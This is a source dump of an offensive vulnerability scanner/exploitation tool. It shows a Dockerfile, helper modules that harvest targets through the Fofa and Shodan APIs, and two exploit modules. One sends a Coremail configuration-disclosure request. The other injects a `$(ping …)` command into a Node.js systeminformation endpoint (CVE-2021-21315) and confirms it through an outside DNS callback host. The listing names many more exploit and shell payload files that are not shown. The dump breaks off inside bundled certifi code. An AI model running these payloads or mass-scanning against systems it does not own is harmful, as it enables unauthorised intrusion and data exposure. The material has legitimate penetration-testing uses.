├── .dockerignore ├── Dockerfile ├── LICENSE ├── core ├── __init__.py ├── core.py ├── scan.py └── verify.py ├── identify ├── __init__.py └── identify.py ├── images ├── readme.md └── vulmap-0.5-demo-gif.gif ├── module ├── __init__.py ├── allcheck.py ├── api │ ├── __init__.py │ ├── dns.py │ ├── fofa.py │ └── shodan.py ├── argparse.py ├── banner.py ├── color.py ├── dismap.py ├── globals.py ├── install.py ├── license.py ├── licenses │ └── readme.md ├── md5.py ├── output.py ├── proxy.py └── time.py ├── payload ├── ApacheAcitveMQ.py ├── ApacheDruid.py ├── ApacheFlink.py ├── ApacheOFBiz.py ├── ApacheShiro.py ├── ApacheSolr.py ├── ApacheStruts2.py ├── ApacheTomcat.py ├── ApacheUnomi.py ├── CoreMail.py ├── Drupal.py ├── Ecology.py ├── Elasticsearch.py ├── Exchange.py ├── Eyou.py ├── F5_BIG_IP.py ├── Fastjson.py ├── Jenkins.py ├── Laravel.py ├── Nexus.py ├── NodeJs.py ├── OracleWeblogic.py ├── QiAnXin.py ├── RadHatJBoss.py ├── RuiJie.py ├── SaltStack.py ├── Spring.py ├── ThinkPHP.py ├── Vmware.py ├── __init__.py └── payload │ ├── cve202121972_linux.tar │ ├── cve202121972_linux_shell.tar │ ├── cve202121972_windows.tar │ └── cve202121972_windows_shell.tar ├── readme.md ├── readme.us-en.md ├── requirements.txt ├── thirdparty ├── __init__.py ├── ajpy │ ├── __init__.py │ └── ajp.py ├── bs4 │ ├── __init__.py │ ├── builder │ │ ├── __init__.py │ │ ├── _html5lib.py │ │ ├── _htmlparser.py │ │ └── _lxml.py │ ├── dammit.py │ ├── diagnose.py │ ├── element.py │ ├── formatter.py │ └── testing.py ├── certifi │ ├── __init__.py │ ├── __main__.py │ ├── cacert.pem │ └── core.py ├── chardet │ ├── __init__.py │ ├── big5freq.py │ ├── big5prober.py │ ├── chardistribution.py │ ├── charsetgroupprober.py │ ├── charsetprober.py │ ├── cli │ │ ├── __init__.py │ │ └── chardetect.py │ ├── codingstatemachine.py │ ├── compat.py │ ├── cp949prober.py │ ├── enums.py │ ├── escprober.py │ ├── escsm.py │ ├── eucjpprober.py │ ├── euckrfreq.py │ ├── euckrprober.py │ ├── euctwfreq.py │ ├── euctwprober.py │ ├── gb2312freq.py │ ├── gb2312prober.py │ ├── hebrewprober.py │ ├── jisfreq.py │ ├── jpcntx.py │ ├── langbulgarianmodel.py │ ├── langcyrillicmodel.py │ ├── langgreekmodel.py │ ├── langhebrewmodel.py │ ├── langhungarianmodel.py │ ├── langthaimodel.py │ ├── langturkishmodel.py │ ├── latin1prober.py │ ├── mbcharsetprober.py │ ├── mbcsgroupprober.py │ ├── mbcssm.py │ ├── sbcharsetprober.py │ ├── sbcsgroupprober.py │ ├── sjisprober.py │ ├── universaldetector.py │ ├── utf8prober.py │ └── version.py ├── click │ ├── __init__.py │ ├── _bashcomplete.py │ ├── _compat.py │ ├── _termui_impl.py │ ├── _textwrap.py │ ├── _unicodefun.py │ ├── _winconsole.py │ ├── core.py │ ├── decorators.py │ ├── exceptions.py │ ├── formatting.py │ ├── globals.py │ ├── parser.py │ ├── termui.py │ ├── testing.py │ ├── types.py │ └── utils.py ├── click_plugins │ ├── __init__.py │ └── core.py ├── colorama │ ├── __init__.py │ ├── ansi.py │ ├── ansitowin32.py │ ├── initialise.py │ ├── win32.py │ └── winterm.py ├── cryptography │ ├── __about__.py │ ├── __init__.py │ ├── exceptions.py │ ├── fernet.py │ ├── hazmat │ │ ├── __init__.py │ │ ├── _der.py │ │ ├── _oid.py │ │ ├── backends │ │ │ ├── __init__.py │ │ │ ├── interfaces.py │ │ │ └── openssl │ │ │ │ ├── __init__.py │ │ │ │ ├── aead.py │ │ │ │ ├── backend.py │ │ │ │ ├── ciphers.py │ │ │ │ ├── cmac.py │ │ │ │ ├── decode_asn1.py │ │ │ │ ├── dh.py │ │ │ │ ├── dsa.py │ │ │ │ ├── ec.py │ │ │ │ ├── ed25519.py │ │ │ │ ├── ed448.py │ │ │ │ ├── encode_asn1.py │ │ │ │ ├── hashes.py │ │ │ │ ├── hmac.py │ │ │ │ ├── ocsp.py │ │ │ │ ├── poly1305.py │ │ │ │ ├── rsa.py │ │ │ │ ├── utils.py │ │ │ │ ├── x25519.py │ │ │ │ ├── x448.py │ │ │ │ └── x509.py │ │ ├── bindings │ │ │ ├── __init__.py │ │ │ └── openssl │ │ │ │ ├── __init__.py │ │ │ │ ├── _conditional.py │ │ │ │ └── binding.py │ │ └── primitives │ │ │ ├── __init__.py │ │ │ ├── asymmetric │ │ │ ├── __init__.py │ │ │ ├── dh.py │ │ │ ├── dsa.py │ │ │ ├── ec.py │ │ │ ├── ed25519.py │ │ │ ├── ed448.py │ │ │ ├── padding.py │ │ │ ├── rsa.py │ │ │ ├── utils.py │ │ │ ├── x25519.py │ │ │ └── x448.py │ │ │ ├── ciphers │ │ │ ├── __init__.py │ │ │ ├── aead.py │ │ │ ├── algorithms.py │ │ │ ├── base.py │ │ │ └── modes.py │ │ │ ├── cmac.py │ │ │ ├── constant_time.py │ │ │ ├── hashes.py │ │ │ ├── hmac.py │ │ │ ├── kdf │ │ │ ├── __init__.py │ │ │ ├── concatkdf.py │ │ │ ├── hkdf.py │ │ │ ├── kbkdf.py │ │ │ ├── pbkdf2.py │ │ │ ├── scrypt.py │ │ │ └── x963kdf.py │ │ │ ├── keywrap.py │ │ │ ├── padding.py │ │ │ ├── poly1305.py │ │ │ ├── serialization │ │ │ ├── __init__.py │ │ │ ├── base.py │ │ │ ├── pkcs12.py │ │ │ ├── pkcs7.py │ │ │ └── ssh.py │ │ │ └── twofactor │ │ │ ├── __init__.py │ │ │ ├── hotp.py │ │ │ ├── totp.py │ │ │ └── utils.py │ ├── utils.py │ └── x509 │ │ ├── __init__.py │ │ ├── base.py │ │ ├── certificate_transparency.py │ │ ├── extensions.py │ │ ├── general_name.py │ │ ├── name.py │ │ ├── ocsp.py │ │ └── oid.py ├── html5lib │ ├── __init__.py │ ├── _ihatexml.py │ ├── _inputstream.py │ ├── _tokenizer.py │ ├── _trie │ │ ├── __init__.py │ │ ├── _base.py │ │ └── py.py │ ├── _utils.py │ ├── constants.py │ ├── filters │ │ ├── __init__.py │ │ ├── alphabeticalattributes.py │ │ ├── base.py │ │ ├── inject_meta_charset.py │ │ ├── lint.py │ │ ├── optionaltags.py │ │ ├── sanitizer.py │ │ └── whitespace.py │ ├── html5parser.py │ ├── serializer.py │ ├── treeadapters │ │ ├── __init__.py │ │ ├── genshi.py │ │ └── sax.py │ ├── treebuilders │ │ ├── __init__.py │ │ ├── base.py │ │ ├── dom.py │ │ ├── etree.py │ │ └── etree_lxml.py │ └── treewalkers │ │ ├── __init__.py │ │ ├── base.py │ │ ├── dom.py │ │ ├── etree.py │ │ ├── etree_lxml.py │ │ └── genshi.py ├── idna │ ├── __init__.py │ ├── codec.py │ ├── compat.py │ ├── core.py │ ├── idnadata.py │ ├── intranges.py │ ├── package_data.py │ └── uts46data.py ├── ipaddress │ ├── __init__.py │ └── ipaddress.py ├── pysocks │ ├── .flake8 │ ├── .gitignore │ ├── .travis.yml │ ├── CHANGELOG.md │ ├── LICENSE │ ├── MANIFEST.in │ ├── README.md │ ├── __init__.py │ ├── pylintrc │ ├── pytest.ini │ ├── requirements_dev.txt │ ├── setup.py │ ├── socks.py │ ├── sockshandler.py │ └── tox.ini ├── requests │ ├── __init__.py │ ├── __version__.py │ ├── _internal_utils.py │ ├── adapters.py │ ├── api.py │ ├── auth.py │ ├── certs.py │ ├── compat.py │ ├── cookies.py │ ├── exceptions.py │ ├── help.py │ ├── hooks.py │ ├── models.py │ ├── packages.py │ ├── sessions.py │ ├── status_codes.py │ ├── structures.py │ └── utils.py ├── requests_toolbelt │ ├── __init__.py │ ├── _compat.py │ ├── adapters │ │ ├── __init__.py │ │ ├── appengine.py │ │ ├── fingerprint.py │ │ ├── host_header_ssl.py │ │ ├── socket_options.py │ │ ├── source.py │ │ ├── ssl.py │ │ └── x509.py │ ├── auth │ │ ├── __init__.py │ │ ├── _digest_auth_compat.py │ │ ├── guess.py │ │ ├── handler.py │ │ └── http_proxy_digest.py │ ├── cookies │ │ ├── __init__.py │ │ └── forgetful.py │ ├── downloadutils │ │ ├── __init__.py │ │ ├── stream.py │ │ └── tee.py │ ├── exceptions.py │ ├── multipart │ │ ├── __init__.py │ │ ├── decoder.py │ │ └── encoder.py │ ├── sessions.py │ ├── streaming_iterator.py │ ├── threaded │ │ ├── __init__.py │ │ ├── pool.py │ │ └── thread.py │ └── utils │ │ ├── __init__.py │ │ ├── deprecated.py │ │ ├── dump.py │ │ ├── formdata.py │ │ └── user_agent.py ├── shodan │ ├── __init__.py │ ├── __main__.py │ ├── cli │ │ ├── __init__.py │ │ ├── alert.py │ │ ├── converter │ │ │ ├── __init__.py │ │ │ ├── base.py │ │ │ ├── csvc.py │ │ │ ├── excel.py │ │ │ ├── geojson.py │ │ │ ├── images.py │ │ │ └── kml.py │ │ ├── data.py │ │ ├── helpers.py │ │ ├── host.py │ │ ├── organization.py │ │ ├── scan.py │ │ ├── settings.py │ │ └── worldmap.py │ ├── client.py │ ├── exception.py │ ├── helpers.py │ ├── stream.py │ └── threatnet.py ├── tld │ ├── __init__.py │ ├── base.py │ ├── conf.py │ ├── defaults.py │ ├── exceptions.py │ ├── helpers.py │ ├── py.typed │ ├── registry.py │ ├── res │ │ ├── effective_tld_names.dat.txt │ │ └── effective_tld_names_public_only.dat.txt │ ├── result.py │ ├── tests │ │ ├── __init__.py │ │ ├── base.py │ │ ├── res │ │ │ └── effective_tld_names_custom.dat.txt │ │ ├── test_commands.py │ │ └── test_core.py │ ├── trie.py │ └── utils.py ├── urllib3 │ ├── __init__.py │ ├── _collections.py │ ├── _version.py │ ├── connection.py │ ├── connectionpool.py │ ├── contrib │ │ ├── __init__.py │ │ ├── _appengine_environ.py │ │ ├── _securetransport │ │ │ ├── __init__.py │ │ │ ├── bindings.py │ │ │ └── low_level.py │ │ ├── appengine.py │ │ ├── ntlmpool.py │ │ ├── pyopenssl.py │ │ ├── securetransport.py │ │ └── socks.py │ ├── exceptions.py │ ├── fields.py │ ├── filepost.py │ ├── packages │ │ ├── __init__.py │ │ ├── backports │ │ │ ├── __init__.py │ │ │ └── makefile.py │ │ ├── six.py │ │ └── ssl_match_hostname │ │ │ ├── __init__.py │ │ │ └── _implementation.py │ ├── poolmanager.py │ ├── request.py │ ├── response.py │ └── util │ │ ├── __init__.py │ │ ├── connection.py │ │ ├── proxy.py │ │ ├── queue.py │ │ ├── request.py │ │ ├── response.py │ │ ├── retry.py │ │ ├── ssl_.py │ │ ├── ssltransport.py │ │ ├── timeout.py │ │ ├── url.py │ │ └── wait.py └── xlsxwriter │ ├── __init__.py │ ├── app.py │ ├── chart.py │ ├── chart_area.py │ ├── chart_bar.py │ ├── chart_column.py │ ├── chart_doughnut.py │ ├── chart_line.py │ ├── chart_pie.py │ ├── chart_radar.py │ ├── chart_scatter.py │ ├── chart_stock.py │ ├── chartsheet.py │ ├── comments.py │ ├── compatibility.py │ ├── contenttypes.py │ ├── core.py │ ├── custom.py │ ├── drawing.py │ ├── exceptions.py │ ├── format.py │ ├── packager.py │ ├── relationships.py │ ├── shape.py │ ├── sharedstrings.py │ ├── styles.py │ ├── table.py │ ├── theme.py │ ├── utility.py │ ├── vml.py │ ├── workbook.py │ ├── worksheet.py │ └── xmlwriter.py ├── version └── vulmap.py /.dockerignore: -------------------------------------------------------------------------------- 1 | .git/ 2 | .dockerignore 3 | Dockerfile -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7 2 | 3 | WORKDIR /app 4 | 5 | COPY . . 6 | 7 | RUN set -xe; \ 8 | pip install --upgrade pip && \ 9 | pip install -r requirements.txt 10 | 11 | CMD [ "python3", "vulmap.py" ] -------------------------------------------------------------------------------- /core/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/core/__init__.py -------------------------------------------------------------------------------- /identify/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/identify/__init__.py -------------------------------------------------------------------------------- /images/readme.md: -------------------------------------------------------------------------------- 1 | Demo images 2 | -------------------------------------------------------------------------------- /images/vulmap-0.5-demo-gif.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/images/vulmap-0.5-demo-gif.gif -------------------------------------------------------------------------------- /module/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/module/__init__.py -------------------------------------------------------------------------------- /module/api/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/module/api/__init__.py -------------------------------------------------------------------------------- /module/api/fofa.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import json 4 | from thirdparty import requests 5 | import base64 6 | from module.color import color 7 | from module.time import now 8 | from module import globals 9 | 10 | 11 | def fofa(fofa, size): 12 | timeout = globals.get_value("TIMEOUT") # 获取全局变量UA 13 | headers = globals.get_value("HEADERS") # 获取全局变量HEADERS 14 | email = globals.get_value("fofa_email") 15 | key = globals.get_value("fofa_key") 16 | fofa_target = [] 17 | keyword = base64.b64encode(str.encode(fofa)) 18 | qbase = keyword.decode('ascii') 19 | api_url = "https://fofa.info/api/v1/search/all?email={email}&key={key}&size={size}&qbase64={qbase}".format(email=email, key=key, size=size, qbase=qbase) 20 | print(now.timed(de=0) + color.yel_info() + color.yellow(" Fofa api: " + api_url)) 21 | try: 22 | res = requests.get(api_url, headers=headers, timeout=timeout, verify=False) 23 | if res.status_code != 200: 24 | print(now.timed(de=0) + color.red_warn() + color.red(" " + res.text)) 25 | exit(0) 26 | r = json.loads(res.text) 27 | for i in r['results']: 28 | fofa_target.append(i[0]) 29 | return fofa_target 30 | except requests.exceptions.Timeout: 31 | print(now.timed(de=0) + color.red_warn() + color.red(" Fofa API connection failed because of timeout ")) 32 | exit(0) 33 | except requests.exceptions.ConnectionError: 34 | print(now.timed(de=0) + color.red_warn() + color.red(" Fofa API connection failed because the connection failed ")) 35 | exit(0) 36 | except Exception as e: 37 | print(now.timed(de=0) + color.red_warn() + color.red(" Fofa API connection failed because unknown error ")) 38 | exit(0) 39 | -------------------------------------------------------------------------------- /module/api/shodan.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | #import shodan 4 | from thirdparty import shodan 5 | import json 6 | import base64 7 | from module.color import color 8 | from module.time import now 9 | from module import globals 10 | 11 | 12 | def shodan_api(shodan_keyword): 13 | try: 14 | shodan_key = globals.get_value("shodan_key") 15 | api = shodan.Shodan(shodan_key) 16 | res = api.search(shodan_keyword) 17 | shodan_target = [] 18 | for result in res['matches']: 19 | shodan_target.append("%s:%s" % (result['ip_str'], result['port'])) 20 | return shodan_target 21 | except shodan_key.APIError as e: 22 | print(now.timed(de=0) + color.red_warn() + color.red(" Shodan api: " + str(e))) 23 | exit(0) -------------------------------------------------------------------------------- /module/color.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | from thirdparty.colorama import init 4 | from thirdparty.colorama import Fore, Back, Style, Cursor 5 | init(autoreset=True) 6 | 7 | 8 | class Colored: 9 | @staticmethod 10 | def magenta(s): 11 | return Style.BRIGHT+Fore.MAGENTA+s+Fore.RESET+Style.RESET_ALL 12 | @staticmethod 13 | def green(s): 14 | return Style.BRIGHT+Fore.GREEN+s+Fore.RESET+Style.RESET_ALL 15 | @staticmethod 16 | def white(s): 17 | return Fore.WHITE+s+Fore.RESET+Style.RESET_ALL 18 | @staticmethod 19 | def cyan(s): 20 | return Style.BRIGHT+Fore.CYAN+s+Fore.RESET+Style.RESET_ALL 21 | @staticmethod 22 | def cyan_fine(s): 23 | return Fore.CYAN+s+Fore.RESET+Style.RESET_ALL 24 | @staticmethod 25 | def yellow(s): 26 | return Style.BRIGHT+Fore.YELLOW+s+Fore.RESET+Style.RESET_ALL 27 | @staticmethod 28 | def red(s): 29 | return Style.BRIGHT+Fore.RED+s+Fore.RESET+Style.RESET_ALL 30 | @staticmethod 31 | def yel_info(): 32 | return Style.BRIGHT+Fore.YELLOW+"[INFO]"+Fore.RESET+Style.RESET_ALL 33 | @staticmethod 34 | def red_warn(): 35 | return Style.BRIGHT+Fore.RED+"[WARN]"+Fore.RESET+Style.RESET_ALL 36 | @staticmethod 37 | def rce(): 38 | return "[rce]" 39 | @staticmethod 40 | def de_rce(): 41 | return "[deserialization rce]" 42 | @staticmethod 43 | def upload(): 44 | return "[upload]" 45 | @staticmethod 46 | def de_upload(): 47 | return "[deserialization upload]" 48 | @staticmethod 49 | def de(): 50 | return "[deserialization]" 51 | @staticmethod 52 | def contains(): 53 | return "[file contains]" 54 | @staticmethod 55 | def xxe(): 56 | return "[xxe]" 57 | @staticmethod 58 | def sql(): 59 | return "[sql]" 60 | @staticmethod 61 | def ssrf(): 62 | return "[ssrf]" 63 | 64 | 65 | color = Colored() 66 | -------------------------------------------------------------------------------- /module/dismap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | import re 5 | from module import globals 6 | from module.time import now 7 | from module.color import color 8 | 9 | def dismap(line): 10 | if "dismap" in line: 11 | print(now.timed(de=0) + color.yel_info() + color.green(" The file is dismap Identification results")) 12 | globals.set_value("DISMAP", "true") 13 | return "######" 14 | elif "######" in line: 15 | return "######" 16 | if globals.get_value("DISMAP") == "true": 17 | try: 18 | search = re.findall("[{] (.*?) [}]", line) 19 | return search[0] 20 | except: 21 | return 22 | else: 23 | return line 24 | 25 | def dismap_getwebapps(line): 26 | if (line.find("[+]") == 0): 27 | try: 28 | search = re.findall("(.*?) [{] ", line) 29 | return search[0] 30 | except: 31 | return 32 | else: 33 | return 34 | -------------------------------------------------------------------------------- /module/globals.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | global _global_dict 5 | 6 | 7 | def init(): # 初始化 8 | global _global_dict 9 | _global_dict = {} 10 | 11 | 12 | def set_value(key, value): 13 | _global_dict[key] = value # 定义一个全局变量 14 | 15 | 16 | def get_value(key, def_value=None): 17 | try: 18 | return _global_dict[key] 19 | except KeyError: 20 | return def_value 21 | -------------------------------------------------------------------------------- /module/licenses/readme.md: -------------------------------------------------------------------------------- 1 | hello hacker ? 2 | -------------------------------------------------------------------------------- /module/md5.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import random 4 | import string 5 | import hashlib 6 | 7 | 8 | def echo_md5(): 9 | st = ''.join(random.choices(string.ascii_letters + string.digits, k=10)) 10 | md = hashlib.md5("".join(st).encode('utf-8')).hexdigest() 11 | return str("echo " + md) 12 | 13 | 14 | def random_md5(): 15 | st = ''.join(random.choices(string.ascii_letters + string.digits, k=8)) 16 | md = hashlib.md5("".join(st).encode('utf-8')).hexdigest() 17 | return str(md) 18 | -------------------------------------------------------------------------------- /module/proxy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import re 4 | import sys 5 | import json 6 | from thirdparty.pysocks import socks 7 | import socket 8 | from thirdparty import requests 9 | from module import globals 10 | from module.time import now 11 | from module.color import color 12 | 13 | 14 | def proxy_set(pr, pr_mode): 15 | headers = globals.get_value("HEADERS") # 获取全局变量HEADERS 16 | try: 17 | proxy_ip = str(re.search(r"(.*):", pr).group(1)) 18 | proxy_port = int(re.search(r":(.*)", pr).group(1)) 19 | except AttributeError: 20 | print(now.timed(de=0) + color.red_warn() + color.red(" Proxy format error (e.g. --proxy-socks 127.0.0.1:1080)")) 21 | sys.exit(0) 22 | if r"socks" in pr_mode: 23 | socks.set_default_proxy(socks.SOCKS5, proxy_ip, proxy_port) 24 | elif r"http" in pr_mode: 25 | socks.set_default_proxy(socks.HTTP, addr=proxy_ip, port=proxy_port) 26 | socket.socket = socks.socksocket 27 | try: 28 | proxy_ip_info = requests.get("http://api.hostip.info/get_json.php", headers=headers, timeout=5) 29 | proxy_ip_info_json = json.loads(proxy_ip_info.text) 30 | proxy_ip_info_dict = "[region: " + proxy_ip_info_json["country_name"] + "] " + "[city: " + proxy_ip_info_json[ 31 | "city"] + "] " + "[proxy ip: " + proxy_ip_info_json["ip"] + "]" 32 | except requests.exceptions.ConnectionError: 33 | proxy_ip_info_dict = "[region: ???] [city: ???] [proxy ip: ???]" 34 | except requests.exceptions.Timeout: 35 | proxy_ip_info_dict = "[region: ???] [city: ???] [proxy ip: ???]" 36 | print(now.timed(de=0) + color.yel_info() + color.yellow(" Use custom proxy: " + pr)) 37 | print(now.timed(de=0) + color.yel_info() + color.yellow(" Proxy info: " + proxy_ip_info_dict)) 38 | -------------------------------------------------------------------------------- /module/time.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import time 4 | from datetime import datetime 5 | from module.color import color 6 | 7 | 8 | class Timed: 9 | @staticmethod 10 | def timed(de): 11 | get_time = datetime.now() 12 | time.sleep(de) 13 | timed = color.cyan("["+str(get_time)[11:19]+"] ") 14 | return timed 15 | @staticmethod 16 | def timed_line(de): 17 | get_time = datetime.now() 18 | time.sleep(de) 19 | timed = color.cyan("["+str(get_time)[11:19]+"] ") 20 | return timed 21 | @staticmethod 22 | def no_color_timed(de): 23 | get_time = datetime.now() 24 | time.sleep(de) 25 | no_color_timed = "["+str(get_time)[11:19]+"] " 26 | return no_color_timed 27 | 28 | 29 | now = Timed() 30 | -------------------------------------------------------------------------------- /payload/CoreMail.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import threading 4 | from thirdparty import requests 5 | from module import globals 6 | from core.verify import verify 7 | from module.md5 import random_md5 8 | from core.verify import misinformation 9 | from thirdparty.requests_toolbelt.utils import dump 10 | from thirdparty.requests.compat import urljoin 11 | 12 | 13 | class CoreMail(): 14 | def __init__(self, url): 15 | self.url = url 16 | self.raw_data = None 17 | self.vul_info = {} 18 | self.ua = globals.get_value("UA") # 获取全局变量UA 19 | self.timeout = globals.get_value("TIMEOUT") # 获取全局变量UA 20 | self.headers = globals.get_value("HEADERS") # 获取全局变量HEADERS 21 | self.threadLock = threading.Lock() 22 | 23 | def time_2021_0414_poc(self): 24 | self.threadLock.acquire() 25 | self.vul_info["prt_name"] = "CoreMail: time-2021-0414" 26 | self.vul_info["prt_resu"] = "null" 27 | self.vul_info["prt_info"] = "null" 28 | self.vul_info["vul_urls"] = self.url 29 | self.vul_info["vul_payd"] = "null" 30 | self.vul_info["vul_name"] = "Coremail configuration information disclosure vulnerability" 31 | self.vul_info["vul_numb"] = "time-2021-0414" 32 | self.vul_info["vul_apps"] = "CoreMail" 33 | self.vul_info["vul_date"] = "2021-04-19" 34 | self.vul_info["vul_vers"] = "unknow" 35 | self.vul_info["vul_risk"] = "high" 36 | self.vul_info["vul_type"] = "RCE" 37 | self.vul_info["vul_data"] = "null" 38 | self.vul_info["vul_desc"] = "Coremail configuration information disclosure vulnerability" 39 | self.vul_info["cre_date"] = "2021-04-29" 40 | self.vul_info["cre_auth"] = "zhzyker" 41 | url = urljoin(self.url, "/mailsms/s?func=ADMIN:appState&dumpConfig=/") 42 | try: 43 | request = requests.get(url, headers=self.headers, timeout=self.timeout, verify=False) 44 | if request.status_code == 200: 45 | if r"FS_IP_NOT_PERMITTED" not in request.text and r"/home/coremail" in request.text: 46 | self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore') 47 | self.vul_info["prt_resu"] = "PoCSuCCeSS" 48 | self.vul_info["vul_payd"] = "/mailsms/s?func=ADMIN:appState&dumpConfig=/" 49 | self.vul_info["prt_info"] = "[url:" + url + " ]" 50 | verify.scan_print(self.vul_info) 51 | except requests.exceptions.Timeout: 52 | verify.timeout_print(self.vul_info["prt_name"]) 53 | except requests.exceptions.ConnectionError: 54 | verify.connection_print(self.vul_info["prt_name"]) 55 | except Exception as error: 56 | verify.error_print(self.vul_info["prt_name"]) 57 | self.threadLock.release() 58 | 59 | -------------------------------------------------------------------------------- /payload/NodeJs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import time 4 | import threading 5 | from thirdparty import requests 6 | from module import globals 7 | from core.verify import verify 8 | from module.api.dns import dns_result, dns_request 9 | from thirdparty.requests_toolbelt.utils import dump 10 | 11 | 12 | class NodeJs(): 13 | def __init__(self, url): 14 | self.url = url 15 | if self.url[-1] == "/": 16 | self.url = self.url[:-1] 17 | self.raw_data = None 18 | self.vul_info = {} 19 | self.ua = globals.get_value("UA") # 获取全局变量UA 20 | self.timeout = globals.get_value("TIMEOUT") # 获取全局变量UA 21 | self.headers = globals.get_value("HEADERS") # 获取全局变量HEADERS 22 | self.threadLock = threading.Lock() 23 | 24 | def cve_2021_21315_poc(self): 25 | self.threadLock.acquire() 26 | self.vul_info["prt_name"] = "Node.JS: CVE-2021-21315" 27 | self.vul_info["prt_resu"] = "null" 28 | self.vul_info["prt_info"] = "null" 29 | self.vul_info["vul_urls"] = self.url 30 | self.vul_info["vul_payd"] = "null" 31 | self.vul_info["vul_name"] = "Node.JS Command Injection" 32 | self.vul_info["vul_numb"] = "CVE-2021-21315" 33 | self.vul_info["vul_apps"] = "Node.JS" 34 | self.vul_info["vul_date"] = "2021-02-25" 35 | self.vul_info["vul_vers"] = "Systeminformation < 5.3.1" 36 | self.vul_info["vul_risk"] = "high" 37 | self.vul_info["vul_type"] = "Command Injection" 38 | self.vul_info["vul_data"] = "null" 39 | self.vul_info["vul_desc"] = "CVE-2021-21315 Node.JS OS sanitize service Parameters Command Injection" 40 | self.vul_info["cre_date"] = "2021-03-04" 41 | self.vul_info["cre_auth"] = "zhzyker" 42 | headers = { 43 | "User-agent": self.ua, 44 | "Connection": "close" 45 | } 46 | 47 | md = dns_request() 48 | cmd = "ping%20" + md 49 | payload = "/api/getServices?name[]=$(RECOMMAND)".replace("RECOMMAND", cmd) 50 | url = self.url + payload 51 | try: 52 | try: 53 | req = requests.get(url, headers=headers, timeout=3, verify=False) 54 | r = dump.dump_all(req).decode('utf-8', 'ignore') 55 | except: 56 | r = "null" 57 | pass 58 | if dns_result(md): 59 | self.vul_info["vul_data"] = r 60 | self.vul_info["prt_resu"] = "PoCSuCCeSS" 61 | self.vul_info["vul_payd"] = payload 62 | self.vul_info["prt_info"] = "[dns] [payload:" + url + " ]" 63 | verify.scan_print(self.vul_info) 64 | except requests.exceptions.Timeout: 65 | verify.timeout_print(self.vul_info["prt_name"]) 66 | except requests.exceptions.ConnectionError: 67 | verify.connection_print(self.vul_info["prt_name"]) 68 | except Exception as error: 69 | verify.error_print(self.vul_info["prt_name"]) 70 | self.threadLock.release() 71 | -------------------------------------------------------------------------------- /payload/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/payload/__init__.py -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | gevent>=20.9 2 | pycryptodome -------------------------------------------------------------------------------- /thirdparty/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/__init__.py -------------------------------------------------------------------------------- /thirdparty/ajpy/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhzyker/vulmap/3694afb7a3adec0b7f7c9027aab596e7b147c585/thirdparty/ajpy/__init__.py -------------------------------------------------------------------------------- /thirdparty/certifi/__init__.py: -------------------------------------------------------------------------------- 1 | from .core import contents, where 2 | 3 | __version__ = "2020.12.05" 4 | -------------------------------------------------------------------------------- /thirdparty/certifi/__main__.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | from thirdparty.certifi import contents, where 4 | 5 | parser = argparse.ArgumentParser() 6 | parser.add_argument("-c", "--contents", action="store_true") 7 | args = parser.parse_args() 8 | 9 | if args.contents: 10 | print(contents()) 11 | else: 12 | print(where()) 13 | -------------------------------------------------------------------------------- /thirdparty/certifi/core.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | certifi.py 5 | ~~~~~~~~~~ 6 | 7 | This module returns the installation location of cacert.pem or its contents. 8 | """ 9 | import os 10 | import sys 11 | 12 | try: 13 | from importlib.resources import path as get_path, read_text 14 | 15 | _CACERT_CTX = None 16 | _CACERT_PATH = None 17 | 18 | def where(): 19 | # This is slightly terrible, but we want to delay extracting the file 20 | # in cases where we're inside of a zipimport situation until someone 21 | # actually calls where(), but we don't want to re-extract the file 22 | # on every call of where(), so we'll do it once then store it in a 23 | # global variable. 24 | global _CACERT_CTX 25 | global _CACERT_PATH 26 | if _CACERT_PATH is None: 27 | # This is slightly janky, the importlib.resources API wants you to 28 | # manage the cleanup of this file, so it doesn't actually return a 29 | # path, it returns a context manager that will give you the path 30 | # when you enter it and will do any cleanup when you leave it. In 31 | # the common case of not needing a temporary file, it will just 32 | # return the file system location and the __exit__() is a no-op. 33 | # 34 | # We also have to hold onto the actual context manager, because 35 | # it will do the cleanup whenever it gets garbage collected, so 36 | # we will also store that at the global level as well. 37 | #_CACERT_CTX = 